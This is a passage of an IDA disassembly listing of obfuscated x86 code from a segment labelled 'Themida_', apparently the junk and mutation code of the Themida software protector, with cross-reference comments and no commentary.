mov edx, 3B9A679Dh
xor edx, 0E875349h
jmp loc_5A1890
; ---------------------------------------------------------------------------
loc_5A2CCC: ; CODE XREF: Themida_:005A901Cj
xor edx, 5DC3489Fh
jb loc_5AC8AF
jmp loc_59A624
; ---------------------------------------------------------------------------
loc_5A2CDD: ; CODE XREF: Themida_:005A2B89j
push dword ptr [esp]
jmp loc_5A5E13
; ---------------------------------------------------------------------------
loc_5A2CE5: ; CODE XREF: Themida_:0059C0F6j
mov bl, cl
pop ecx
sub al, bl
pop ebx
mov ecx, [esp]
push ecx
jmp loc_599A69
; ---------------------------------------------------------------------------
loc_5A2CF4: ; CODE XREF: Themida_:00598B37j
push esp
pop ebx
jmp loc_59B721
; ---------------------------------------------------------------------------
loc_5A2CFB: ; CODE XREF: Themida_:005A4F67j
push eax
mov eax, 590C6F83h
neg eax
push ecx
mov ecx, 6136A7Dh
shl ecx, 1
and ecx, 1C76015Bh
jmp loc_5A55EB
; ---------------------------------------------------------------------------
loc_5A2D16: ; CODE XREF: Themida_:005AC22Cj
push edx
push dword ptr [esp+4]
jmp loc_5A056B
; ---------------------------------------------------------------------------
loc_5A2D20: ; CODE XREF: Themida_:00598CB7j
; Themida_:0059E8A0j
mov esp, [esp]
mov dh, [esp+4]
mov [esp+4], ah
mov eax, [esp]
add esp, 4
not dh
push eax
push ecx
mov cl, dh
push ebx
mov bh, cl
mov al, bh
pop ebx
pop ecx
mov dh, [esp+4]
jmp loc_59E5C9
; ---------------------------------------------------------------------------
loc_5A2D47: ; CODE XREF: Themida_:0059D959j
push 1D1h
mov [esp], ebx
push 2B7Ah
jmp loc_59EEAA
; ---------------------------------------------------------------------------
loc_5A2D59: ; CODE XREF: Themida_:0059E14Cj
inc dword ptr [esp]
pop ebp
not ebp
push ecx
jmp loc_5A96B4
; ---------------------------------------------------------------------------
loc_5A2D65: ; CODE XREF: Themida_:0059FC25j
mov ebp, 1
and ecx, ebp
push dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_59F080
; ---------------------------------------------------------------------------
loc_5A2D7E: ; CODE XREF: Themida_:005A77EDj
add edx, 162E29ACh
neg edx
jmp loc_598F4E
; ---------------------------------------------------------------------------
loc_5A2D8B: ; CODE XREF: Themida_:005ACE74j
add edi, ecx
jmp loc_5A5FCA
; ---------------------------------------------------------------------------
loc_5A2D92: ; CODE XREF: Themida_:005A3762j
shr eax, 7
sub eax, 81108EC4h
sub edi, eax
pop eax
jmp loc_5A90DB
; ---------------------------------------------------------------------------
loc_5A2DA2: ; CODE XREF: Themida_:0059B62Aj
pop esp
jmp loc_59CC4B
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A2DB8: ; CODE XREF: Themida_:0059DAB1j
neg esi
jmp loc_5A5471
; ---------------------------------------------------------------------------
loc_5A2DBF: ; CODE XREF: Themida_:0059B9A5j
; Themida_:005A280Aj
push ecx
push 5929h
mov [esp], edx
jmp loc_5ACF73
; ---------------------------------------------------------------------------
loc_5A2DCD: ; CODE XREF: Themida_:0059E588j
add esi, ecx
pop ecx
sub esp, 4
jmp loc_59A548
; ---------------------------------------------------------------------------
loc_5A2DDB: ; CODE XREF: Themida_:005A0721j
pop edi
push eax
jmp loc_599835
; ---------------------------------------------------------------------------
loc_5A2DE2: ; CODE XREF: Themida_:005A466Fj
push esp
mov ecx, [esp]
add esp, 4
push ebx
mov ebx, 4
add ecx, ebx
push dword ptr [esp]
jmp loc_5A3217
; ---------------------------------------------------------------------------
loc_5A2DF9: ; CODE XREF: Themida_:0059C5BFj
add [esp+4], esi
jmp loc_5AD014
; ---------------------------------------------------------------------------
loc_5A2E02: ; CODE XREF: Themida_:005ACD0Bj
pop edx
shl edx, 4
jz loc_5A49D3
xor edx, 24F15B98h
jns loc_5AFB3C
shl edx, 3
jmp loc_5A5ABF
; ---------------------------------------------------------------------------
push ecx
mov al, 84h
loc_5A2E24: ; CODE XREF: Themida_:005A298Aj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_59C059
; ---------------------------------------------------------------------------
loc_5A2E32: ; CODE XREF: Themida_:0059FD80j
xor edx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
add esi, 4
push ebp
jmp loc_5991F7
; ---------------------------------------------------------------------------
loc_5A2E58: ; CODE XREF: Themida_:005A3FFEj
push edi
mov edi, 4
mov ebp, edi
pop edi
sub eax, 0B2E29A5h
add eax, ebp
add eax, 0B2E29A5h
pop ebp
xchg eax, [esp]
mov esp, [esp]
push edi
push esp
pop edi
push edx
push ecx
mov ecx, 1F103C4Dh
jmp loc_5A82D7
; ---------------------------------------------------------------------------
loc_5A2E83: ; CODE XREF: Themida_:005A781Cj
add eax, 742B7F48h
xor eax, 93EB780Ch
add ecx, eax
jmp loc_598B2C
; ---------------------------------------------------------------------------
loc_5A2E94: ; CODE XREF: Themida_:0059E822j
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esi
push eax
push 45CCh
mov [esp], edi
mov edi, 7FE061A0h
mov eax, edi
pop edi
mov esi, 0DBAABEC7h
sub esi, eax
pop eax
sub esi, 1
push edx
mov edx, 7B5B6726h
or edx, 4A260072h
jmp loc_599422
; ---------------------------------------------------------------------------
loc_5A2ED6: ; CODE XREF: Themida_:0059B454j
add esp, 4
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
sub esp, 4
mov [esp], ecx
push 2A3D2424h
pop ecx
or ecx, 64B913F5h
shl ecx, 7
jnp loc_59C061
sub ecx, 5E9BFA7Eh
add ebp, ecx
pop ecx
push esi
loc_5A2F07: ; CODE XREF: Themida_:005A0C7Dj
add ecx, 4
xchg ecx, [esp]
pop esp
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], ebp
push esp
jmp loc_59C7BF
; ---------------------------------------------------------------------------
loc_5A2F23: ; CODE XREF: Themida_:005AE31Bj
mov eax, 38h
jmp loc_59BD26
; ---------------------------------------------------------------------------
loc_5A2F2D: ; CODE XREF: Themida_:0059DDFDj
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5ADEDA
; ---------------------------------------------------------------------------
loc_5A2F3C: ; CODE XREF: Themida_:005AF49Fj
shl ebp, 5
jmp loc_5A8AA9
; ---------------------------------------------------------------------------
loc_5A2F44: ; CODE XREF: Themida_:005A665Fj
pop dword ptr [edi+40h]
mov eax, [esp]
sub esp, 4
mov [esp], edi
push 632Fh
mov [esp], esp
add dword ptr [esp], 4
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
jmp loc_5AD51A
; ---------------------------------------------------------------------------
loc_5A2F75: ; CODE XREF: Themida_:00599F15j
push 1F57h
jmp loc_599A76
; ---------------------------------------------------------------------------
loc_5A2F7F: ; CODE XREF: Themida_:loc_59F0F9j
sub ecx, 7C9DA0E2h
mov ebp, ecx
jmp loc_59F44C
; ---------------------------------------------------------------------------
loc_5A2F8C: ; CODE XREF: Themida_:005A2834j
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
push 258Fh
jmp loc_59A290
; ---------------------------------------------------------------------------
loc_5A2FA2: ; CODE XREF: Themida_:00599031j
pop esp
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_5A317D
; ---------------------------------------------------------------------------
loc_5A2FB1: ; CODE XREF: Themida_:005A2A27j
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebp
mov ebp, 4
jmp loc_5A3033
; ---------------------------------------------------------------------------
loc_5A2FC5: ; CODE XREF: Themida_:005A243Cj
not eax
xchg eax, ebx
inc ebx
jns loc_5A915C
xor ebx, 14C8310Bh
push edi
mov ecx, ebx
mov ch, 74h
push small word ptr [edx]
jmp loc_5A1A5C
; ---------------------------------------------------------------------------
loc_5A2FE2: ; CODE XREF: Themida_:0059F84Fj
mov [esp], ebx
mov ebx, 5715369Eh
sub ebp, ebx
pop ebx
pop eax
push 15D0h
mov [esp], esi
mov esi, 2
add ebp, esi
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_598A1F
; ---------------------------------------------------------------------------
loc_5A3019: ; CODE XREF: Themida_:0059BB57j
pop esp
push ecx
mov ecx, 4F175C5Ch
and esi, ecx
pop ecx
shr esi, 6
add esi, 107E0382h
xchg ebp, esi
jmp loc_5A8061
; ---------------------------------------------------------------------------
loc_5A3033: ; CODE XREF: Themida_:005A2FC0j
add eax, ebp
mov ebp, [esp]
push eax
mov eax, esp
jmp loc_5A8FD5
; ---------------------------------------------------------------------------
loc_5A3040: ; CODE XREF: Themida_:005A0E0Bj
; Themida_:005A61ACj
xor ecx, ebx
xor ebx, ecx
xor ecx, ebx
not ebx
push 441Eh
mov [esp], ecx
push 1658h
mov [esp], ebx
pop ecx
jmp loc_5A7821
; ---------------------------------------------------------------------------
loc_5A305E: ; CODE XREF: Themida_:0059B1FBj
add ah, 95h
shl ah, 5
js loc_5A7062
jmp loc_5A44C9
; ---------------------------------------------------------------------------
loc_5A306F: ; CODE XREF: Themida_:005A309Bj
xor ebp, 5B753C36h
jmp loc_5A836F
; ---------------------------------------------------------------------------
loc_5A307A: ; CODE XREF: Themida_:005AB631j
mov [esp], ebx
mov ebx, eax
push 528h
mov [esp], ebx
jmp loc_5A7F54
; ---------------------------------------------------------------------------
loc_5A308C: ; CODE XREF: Themida_:005AD6EBj
pop eax
push edi
jmp loc_59EB0E
; ---------------------------------------------------------------------------
loc_5A3093: ; CODE XREF: Themida_:loc_5A50DDj
; Themida_:005AEF16j
not ebp
and ebp, 702421ABh
ja loc_5A306F
xor ebp, 5B753C36h
jmp loc_5A6768
; ---------------------------------------------------------------------------
mov [esp], ebx
loc_5A30AF: ; CODE XREF: Themida_:0059BB7Bj
pop edi
xchg eax, [esp]
mov esp, [esp]
jmp loc_5A92AF
; ---------------------------------------------------------------------------
loc_5A30BB: ; CODE XREF: Themida_:0059C192j
jmp loc_5995B4
; ---------------------------------------------------------------------------
loc_5A30C0: ; CODE XREF: Themida_:005A4BD4j
sub eax, edx
jmp loc_5ABBCC
; ---------------------------------------------------------------------------
loc_5A30C7: ; CODE XREF: Themida_:0059B44Bj
xor ecx, [esp]
pop esp
mov edx, [esp]
add esp, 4
sub esp, 4
jmp loc_5ACDB5
; ---------------------------------------------------------------------------
loc_5A30D9: ; CODE XREF: Themida_:005A8999j
shr edi, 7
sub edi, 40C97773h
jmp loc_59BB64
; ---------------------------------------------------------------------------
loc_5A30E7: ; CODE XREF: Themida_:005AF324j
add esi, ebp
sub esi, 7A8809D3h
pop ebp
pop ecx
xchg esi, [esp]
jmp loc_5AA653
; ---------------------------------------------------------------------------
loc_5A30F9: ; DATA XREF: Themida_:00598870o
lodsd
jmp loc_5A2AD4
; ---------------------------------------------------------------------------
loc_5A30FF: ; CODE XREF: Themida_:005A6AE3j
push edi
mov edi, 0D9F9135Bh
jmp loc_598C5F
; ---------------------------------------------------------------------------
loc_5A310A: ; CODE XREF: Themida_:0059D576j
xor ebx, ecx
pop ecx
sub ebp, 4E436415h
push edi
mov edi, 431F3E37h
not edi
or edi, 74AD18E2h
dec edi
dec edi
jmp loc_5AC870
; ---------------------------------------------------------------------------
loc_5A3128: ; CODE XREF: Themida_:005A6F0Aj
add ebx, ecx
sub ebx, 12E5514Eh
push esi
mov esi, 14771A77h
sub ebx, esi
pop esi
add ebx, 76666909h
pop ecx
add ebx, 4
push ebx
push dword ptr [esp+4]
jmp loc_5AF753
; ---------------------------------------------------------------------------
loc_5A3150: ; CODE XREF: Themida_:005A51E9j
pop eax
sub edx, 50173BC8h
add edx, ebp
add edx, 50173BC8h
pop ebp
jmp loc_5AB75E
; ---------------------------------------------------------------------------
loc_5A3165: ; CODE XREF: Themida_:005A3837j
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push small 694Ch
mov [esp], bx
mov bl, 42h
jmp loc_59D23B
; ---------------------------------------------------------------------------
loc_5A317D: ; CODE XREF: Themida_:005A2FACj
pop esp
rol dword ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A3187: ; CODE XREF: Themida_:0059A62Bj
mov edi, edx
pop edx
sub [esp+8], edi
pop edi
jmp loc_5A662D
; ---------------------------------------------------------------------------
loc_5A3194: ; CODE XREF: Themida_:005A2A1Cj
pop esp
jmp loc_5AB41D
; ---------------------------------------------------------------------------
loc_5A319A: ; CODE XREF: Themida_:005A843Dj
push esi
push ebx
mov ebx, 302B275Bh
mov esi, ebx
mov ebx, [esp]
add esp, 4
shl esi, 2
xor esi, 561905F1h
sub esi, 3F447665h
neg esi
jmp loc_59E5DA
; ---------------------------------------------------------------------------
loc_5A31BF: ; CODE XREF: Themida_:005A3E0Aj
; Themida_:005AF77Aj
mov [esp], edi
mov edi, 45A74AF1h
push ebp
mov ebp, 2E3A31E6h
sub ebp, 6E490488h
and ebp, 7DA55B2Eh
shr ebp, 8
shr ebp, 3
jmp loc_5ACC32
; ---------------------------------------------------------------------------
loc_5A31E4: ; CODE XREF: Themida_:0059B34Cj
mov edi, esp
jmp loc_598CD1
; ---------------------------------------------------------------------------
loc_5A31EB: ; CODE XREF: Themida_:005A6414j
add ebp, 3B1F3AC6h
jmp loc_59E6E9
; ---------------------------------------------------------------------------
loc_5A31F6: ; CODE XREF: Themida_:0059F347j
; Themida_:005ACC62j
pop ebp
xchg esi, [esp]
pop esp
add esp, 4
jmp loc_59F264
; ---------------------------------------------------------------------------
loc_5A3203: ; CODE XREF: Themida_:0059D3DAj
or ch, 0AEh
jmp loc_59BD37
; ---------------------------------------------------------------------------
loc_5A320B: ; CODE XREF: Themida_:00599292j
pop eax
push esi
mov esi, 130349F5h
jmp loc_598DAD
; ---------------------------------------------------------------------------
loc_5A3217: ; CODE XREF: Themida_:005A2DF4j
pop ebx
jmp loc_5A540D
; ---------------------------------------------------------------------------
loc_5A321D: ; CODE XREF: Themida_:005A603Dj
mov ebp, 4
jmp loc_5ACC60
; ---------------------------------------------------------------------------
loc_5A3227: ; CODE XREF: Themida_:005A32C7j
neg eax
sub eax, 0B9098C31h
jmp loc_5AA82E
; ---------------------------------------------------------------------------
loc_5A3233: ; CODE XREF: Themida_:005A3E82j
sub edx, 65AB7E2Dh
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_5A940E
; ---------------------------------------------------------------------------
loc_5A324A: ; CODE XREF: Themida_:005AD5E6j
jnp loc_5A793C
jmp loc_5A8A63
; ---------------------------------------------------------------------------
sub ecx, 77257653h
pop edi
push ecx
pop ebp
push ebp
loc_5A325F: ; CODE XREF: Themida_:0059BF87j
; Themida_:005A8280j
push 26A155A7h
pop ebp
sub ebx, ebp
jmp loc_5AC5EC
; ---------------------------------------------------------------------------
loc_5A326C: ; CODE XREF: Themida_:005A7F41j
or ebp, 5BD37370h
not ebp
xor ebp, 8FC3A460h
add edx, ebp
pop ebp
jmp loc_5A8D05
; ---------------------------------------------------------------------------
loc_5A3282: ; CODE XREF: Themida_:0059BC6Bj
sub ebp, eax
pop eax
neg ebp
jmp loc_59F91E
; ---------------------------------------------------------------------------
loc_5A328C: ; CODE XREF: Themida_:0059C3E5j
add eax, 4
xchg eax, [esp]
pop esp
sub esp, 4
mov [esp], edx
mov edx, 1000000h
jmp loc_5A7FCD
; ---------------------------------------------------------------------------
loc_5A32A3: ; CODE XREF: Themida_:005A4A87j
mov dl, al
pop eax
jmp loc_5ADDC6
; ---------------------------------------------------------------------------
loc_5A32AB: ; CODE XREF: Themida_:0059C669j
push edi
mov edi, 5C7A3AB5h
sub esp, 4
mov [esp], eax
mov eax, 1D8F58BFh
shr eax, 7
xor eax, 1E93533Ah
jmp loc_5A3227
; ---------------------------------------------------------------------------
loc_5A32CC: ; CODE XREF: Themida_:0059C68Dj
push 14A2h
mov [esp], eax
jmp loc_59FF88
; ---------------------------------------------------------------------------
loc_5A32D9: ; CODE XREF: Themida_:0059E069j
sub esi, 4
xchg esi, [esp]
pop esp
push esp
pop dword ptr [esp]
push ebp
jmp loc_59E467
; ---------------------------------------------------------------------------
loc_5A32ED: ; CODE XREF: Themida_:005ADE2Fj
push ebp
mov ebp, 62BD6967h
add ebp, 268005E1h
jmp loc_5A299E
; ---------------------------------------------------------------------------
loc_5A32FE: ; CODE XREF: Themida_:005992D1j
xor ecx, 64062E6Bh
mov ebp, ecx
pop ecx
push edx
push esi
mov esi, 6216262Bh
xor esi, 0B51458Ch
neg esi
xor esi, 8AD6BE41h
push edi
mov edi, esi
jmp loc_5A9EC1
; ---------------------------------------------------------------------------
loc_5A3324: ; CODE XREF: Themida_:0059BBE5j
push 503Ch
mov [esp], ebx
jmp loc_59A8C2
; ---------------------------------------------------------------------------
loc_5A3331: ; CODE XREF: Themida_:005AD466j
pop edx
add esi, 6B8F60D9h
push edx
mov edx, 6D7F2140h
jmp loc_5AD07D
; ---------------------------------------------------------------------------
loc_5A3343: ; CODE XREF: Themida_:0059B465j
add eax, 0F24A6378h
xor edx, eax
pop eax
sub ebx, 7DAE11E2h
sub ebx, edx
jmp loc_5A2490
; ---------------------------------------------------------------------------
loc_5A3358: ; CODE XREF: Themida_:005A66FAj
add eax, 21A53C47h
jo loc_5A93CB
shr eax, 5
xor eax, 0AEB7C0Ch
jns loc_5AA475
sub eax, 0DBEB17D1h
jnz loc_5AB0EA
loc_5A337C: ; CODE XREF: Themida_:0059E989j
push esi
mov esi, 20CD26C5h
dec esi
jmp loc_5A1348
; ---------------------------------------------------------------------------
loc_5A3388: ; CODE XREF: Themida_:005AF16Aj
mov ecx, 4
add eax, ecx
pop ecx
xchg eax, [esp]
jmp loc_5AD369
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
push 1C3Fh
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop eax
push edx
jmp loc_5A864B
; ---------------------------------------------------------------------------
loc_5A33B3: ; CODE XREF: Themida_:005AA568j
add esp, 4
jmp loc_5A15B1
; ---------------------------------------------------------------------------
loc_5A33BB: ; CODE XREF: Themida_:005AFA70j
sub edx, 17B724DDh
add edx, 0DC8846A7h
sub ebp, edx
pop edx
jmp loc_59D5CE
; ---------------------------------------------------------------------------
loc_5A33CF: ; CODE XREF: Themida_:0059D2B1j
inc ebx
jnz loc_5AD7BC
sub ebx, 6BAAC20h
mov edx, ebx
pop ebx
mov esi, edx
sub al, 55h
loc_5A33E3: ; CODE XREF: Themida_:00599609j
mov ax, [esp]
push ebp
push ebx
jmp loc_5A3A7F
; ---------------------------------------------------------------------------
loc_5A33EE: ; CODE XREF: Themida_:005A7FB3j
xor edx, 3C3F10DCh
mov ecx, edx
mov edx, [esp]
add esp, 4
jmp loc_5A376F
; ---------------------------------------------------------------------------
loc_5A3401: ; CODE XREF: Themida_:005AE771j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A3406: ; CODE XREF: Themida_:0059EDE4j
add esp, 4
push edx
mov edx, esp
add edx, 4
push edi
push ebx
mov ebx, 4
mov edi, ebx
pop ebx
add edx, edi
jmp loc_5AE1AB
; ---------------------------------------------------------------------------
loc_5A3426: ; CODE XREF: Themida_:005ACAFFj
pop edi
push ebx
mov ebx, esp
jmp loc_5AE6D0
; ---------------------------------------------------------------------------
loc_5A342F: ; CODE XREF: Themida_:005AE299j
neg edx
jz loc_5AEBAE
sub edx, 1217A8DBh
push edx
pop esi
jmp loc_5A7526
; ---------------------------------------------------------------------------
loc_5A3444: ; CODE XREF: Themida_:0059F447j
not ch
shl ch, 2
jns loc_5AABC3
add ch, 6Eh
mov bh, ch
pop ecx
jmp loc_5A23C4
; ---------------------------------------------------------------------------
sub esp, 4
push edi
loc_5A345E: ; CODE XREF: Themida_:005AF4BAj
mov ebp, esp
add ebp, 4
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
xchg ebp, [esp]
pop esp
add ebp, ecx
pop ecx
add ebp, 4
jmp loc_5A5C28
; ---------------------------------------------------------------------------
loc_5A3481: ; CODE XREF: Themida_:loc_5AFB0Fj
xor ebp, 3A826172h
jnb loc_5AEED4
jmp loc_5A2550
; ---------------------------------------------------------------------------
xor ebx, 62637CCCh
push ebx
loc_5A3499: ; CODE XREF: Themida_:005A6855j
pop ebp
add esp, 4
or eax, eax
jz loc_5AB121
push 28FEh
jmp loc_5AC145
; ---------------------------------------------------------------------------
loc_5A34B2: ; CODE XREF: Themida_:005A4B97j
; Themida_:005AFA44j
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_59F509
; ---------------------------------------------------------------------------
loc_5A34BD: ; CODE XREF: Themida_:005A8B89j
shr edx, 4
jz loc_5A1D98
add edx, 62675FC9h
mov ebx, edx
pop edx
push edx
mov edx, 64873D5Eh
push ebx
mov ebx, 25195553h
xor edx, ebx
jmp loc_5AA405
; ---------------------------------------------------------------------------
loc_5A34E2: ; CODE XREF: Themida_:005A4FB1j
mov ah, 3Eh
jmp loc_5A0282
; ---------------------------------------------------------------------------
loc_5A34E9: ; CODE XREF: Themida_:0059BF7Bj
or edi, 4D077B47h
sub edi, 7F6F7B4Bh
add eax, edi
pop edi
push ebp
jmp loc_5AEE5B
; ---------------------------------------------------------------------------
loc_5A34FE: ; CODE XREF: Themida_:005A094Aj
mov edx, 75344880h
shl edx, 2
sub edx, 60C34DAh
dec edx
jmp loc_59FF17
; ---------------------------------------------------------------------------
loc_5A3512: ; CODE XREF: Themida_:005ABB6Dj
pop eax
dec edx
push ebx
mov ebx, 357036Bh
add edx, 3CB32024h
sub edx, ebx
jmp loc_5AC52F
; ---------------------------------------------------------------------------
loc_5A3527: ; CODE XREF: Themida_:005A97F1j
pop ecx
push cx
mov cl, 81h
add bl, cl
pop cx
add bl, dl
sub bl, 81h
add bl, 19h
pop dx
jmp loc_5AB99F
; ---------------------------------------------------------------------------
loc_5A353F: ; CODE XREF: Themida_:0059CEC7j
sub esp, 4
mov [esp], ebp
jmp loc_59977F
; ---------------------------------------------------------------------------
loc_5A354D: ; CODE XREF: Themida_:005994B6j
mov [esp], ebx
mov ebx, esp
sub esp, 4
mov [esp], edx
push 5C0Eh
mov [esp], ecx
push 22AC4A26h
pop ecx
jmp loc_59932A
; ---------------------------------------------------------------------------
loc_5A356E: ; CODE XREF: Themida_:0059DCFAj
pop ebx
sub edx, ebp
pop ebp
sub edx, 4BC32BCBh
pop ebx
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebx
push ecx
mov cl, dl
mov bl, cl
push dword ptr [esp]
jmp loc_5A62CB
; ---------------------------------------------------------------------------
loc_5A3590: ; CODE XREF: Themida_:005A6C4Fj
pop ebp
add edx, edi
pop edi
sub edi, edx
pop edx
xchg edi, [esp]
pop esp
mov [esp], ax
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A35A4: ; CODE XREF: Themida_:005A60F5j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5A298F
; ---------------------------------------------------------------------------
loc_5A35BC: ; CODE XREF: Themida_:005A869Ej
add esp, 4
push 3291h
mov [esp], ebp
mov ebp, esp
push edi
push ecx
push ebp
mov ebp, 0E297F3Eh
mov ecx, 0F9A6A609h
add ecx, ebp
mov ebp, [esp]
add esp, 4
mov edi, 0F468310h
sub edi, ecx
mov ecx, [esp]
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
xor edi, 7765DCDh
add ebp, edi
mov edi, [esp]
add esp, 4
add ebp, 4
push 48B8h
mov [esp], ebp
jmp loc_59908C
; ---------------------------------------------------------------------------
loc_5A361E: ; CODE XREF: Themida_:005A4A2Aj
mov esi, 763A658Ah
jmp loc_59EBA9
; ---------------------------------------------------------------------------
loc_5A3628: ; CODE XREF: Themida_:005A9288j
pop ecx
mov edx, [esp]
jmp loc_5A023E
; ---------------------------------------------------------------------------
loc_5A3631: ; CODE XREF: Themida_:005A188Bj
; Themida_:005ADDD8j
push edi
jmp loc_59D064
; ---------------------------------------------------------------------------
loc_5A3637: ; CODE XREF: Themida_:0059F67Cj
; Themida_:005AC336j
push esp
mov eax, [esp]
jmp loc_5AE9DD
; ---------------------------------------------------------------------------
loc_5A3640: ; CODE XREF: Themida_:00599EA5j
mov ecx, ebx
jmp loc_5ADEE9
; ---------------------------------------------------------------------------
loc_5A3647: ; CODE XREF: Themida_:0059D0C3j
pop eax
jmp loc_5A5BBE
; ---------------------------------------------------------------------------
loc_5A364D: ; CODE XREF: Themida_:0059DCE6j
mov al, 83h
jmp loc_5AE7FE
; ---------------------------------------------------------------------------
loc_5A3654: ; CODE XREF: Themida_:005A0620j
and eax, edx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5A7B8E
; ---------------------------------------------------------------------------
loc_5A3661: ; CODE XREF: Themida_:005AE9DEj
push esp
jmp loc_5A4345
; ---------------------------------------------------------------------------
loc_5A3667: ; CODE XREF: Themida_:005A970Dj
sub esp, 4
mov [esp], edi
mov edi, 4
jmp loc_59BB79
; ---------------------------------------------------------------------------
loc_5A3677: ; CODE XREF: Themida_:0059EC81j
sub ecx, edx
mov edx, [esp]
add esp, 4
jmp loc_5A18FC
; ---------------------------------------------------------------------------
loc_5A3684: ; CODE XREF: Themida_:00598C94j
; Themida_:loc_5A7A2Aj
add eax, 46C67C25h
mov edi, eax
pop eax
sub ecx, edi
jmp loc_5AABE3
; ---------------------------------------------------------------------------
loc_5A3693: ; CODE XREF: Themida_:0059ED6Ej
mov esp, [esp]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push esp
jmp loc_59A0CE
; ---------------------------------------------------------------------------
loc_5A36B2: ; CODE XREF: Themida_:0059C61Cj
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push edx
jmp loc_5ACA08
; ---------------------------------------------------------------------------
loc_5A36C5: ; CODE XREF: Themida_:0059E8DDj
shl eax, 7
shr eax, 7
sub eax, 1D100DBh
mov ebp, eax
jmp loc_5A1E1C
; ---------------------------------------------------------------------------
loc_5A36D7: ; CODE XREF: Themida_:005A9A90j
mov esp, [esp]
or edx, eax
jmp loc_5A39BE
; ---------------------------------------------------------------------------
loc_5A36E1: ; CODE XREF: Themida_:005AE053j
add edi, 4
xchg edi, [esp]
pop esp
add edx, esi
jmp loc_5A0394
; ---------------------------------------------------------------------------
loc_5A36F2: ; CODE XREF: Themida_:005A0D68j
mov ebx, esp
add ebx, 4
jmp loc_59BAC5
; ---------------------------------------------------------------------------
loc_5A36FF: ; CODE XREF: Themida_:005A8055j
xor bh, ah
pop ax
xor ch, bh
pop ebx
add al, ch
pop ecx
jmp loc_5A408E
; ---------------------------------------------------------------------------
loc_5A370E: ; CODE XREF: Themida_:005A780Cj
mov edx, [esp]
add esp, 4
jmp loc_59B2E2
; ---------------------------------------------------------------------------
loc_5A3719: ; CODE XREF: Themida_:005A8C79j
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_5ACEFA
; ---------------------------------------------------------------------------
loc_5A3729: ; CODE XREF: Themida_:005AF7F2j
mov ecx, 5BC40344h
add ecx, 0A43BFCC0h
jmp loc_5AE51D
; ---------------------------------------------------------------------------
loc_5A3739: ; CODE XREF: Themida_:005A70DAj
sub eax, edx
pop edx
jmp loc_5A1AF2
; ---------------------------------------------------------------------------
loc_5A3741: ; CODE XREF: Themida_:005A5400j
push dword ptr [esp]
jmp loc_5AD2F4
; ---------------------------------------------------------------------------
loc_5A3749: ; CODE XREF: Themida_:005A5284j
add edi, edx
push eax
mov eax, 25511E03h
xor eax, 18310597h
sub eax, 66F85EF9h
neg eax
xor eax, 69F71DAh
jmp loc_5A2D92
; ---------------------------------------------------------------------------
loc_5A3767: ; CODE XREF: Themida_:00598B5Cj
mov [esp], esp
jmp loc_5A38AB
; ---------------------------------------------------------------------------
loc_5A376F: ; CODE XREF: Themida_:005A33FCj
push ebp
mov ebp, ecx
jmp loc_5A5386
; ---------------------------------------------------------------------------
loc_5A3777: ; CODE XREF: Themida_:005AB192j
sub ch, 0DAh
sub esp, 2
mov [esp], bx
mov bl, 0DBh
add ch, bl
pop bx
add al, ch
pop ecx
jmp loc_5AD620
; ---------------------------------------------------------------------------
loc_5A3792: ; CODE XREF: Themida_:005ACDB0j
mov esi, 68720E27h
inc esi
and esi, 7DEE5575h
add esi, 39B37812h
xor esi, 0A2157C36h
push ecx
mov ecx, esi
mov ebp, ecx
jmp loc_5A958F
; ---------------------------------------------------------------------------
loc_5A37B4: ; CODE XREF: Themida_:00599738j
sub edx, edi
jmp loc_5A39FF
; ---------------------------------------------------------------------------
loc_5A37BB: ; CODE XREF: Themida_:0059CF86j
inc ebp
jmp loc_5ACB04
; ---------------------------------------------------------------------------
loc_5A37C1: ; CODE XREF: Themida_:005A4CBDj
xor edx, 4C425281h
jnp loc_5A70D4
add edx, 0B0B5E0E3h
jmp loc_59A409
; ---------------------------------------------------------------------------
loc_5A37D8: ; CODE XREF: Themida_:005AA7D1j
shl ch, 2
jmp loc_5A80C7
; ---------------------------------------------------------------------------
loc_5A37E0: ; CODE XREF: Themida_:0059AB10j
xchg edi, [esp]
pop esp
xor eax, esi
mov esi, [esp]
add esp, 4
jmp loc_59E3C6
; ---------------------------------------------------------------------------
loc_5A37F4: ; CODE XREF: Themida_:005AD2EFj
mov edx, [esp]
jmp loc_5ADD7C
; ---------------------------------------------------------------------------
loc_5A37FC: ; CODE XREF: Themida_:005A6121j
add eax, ebp
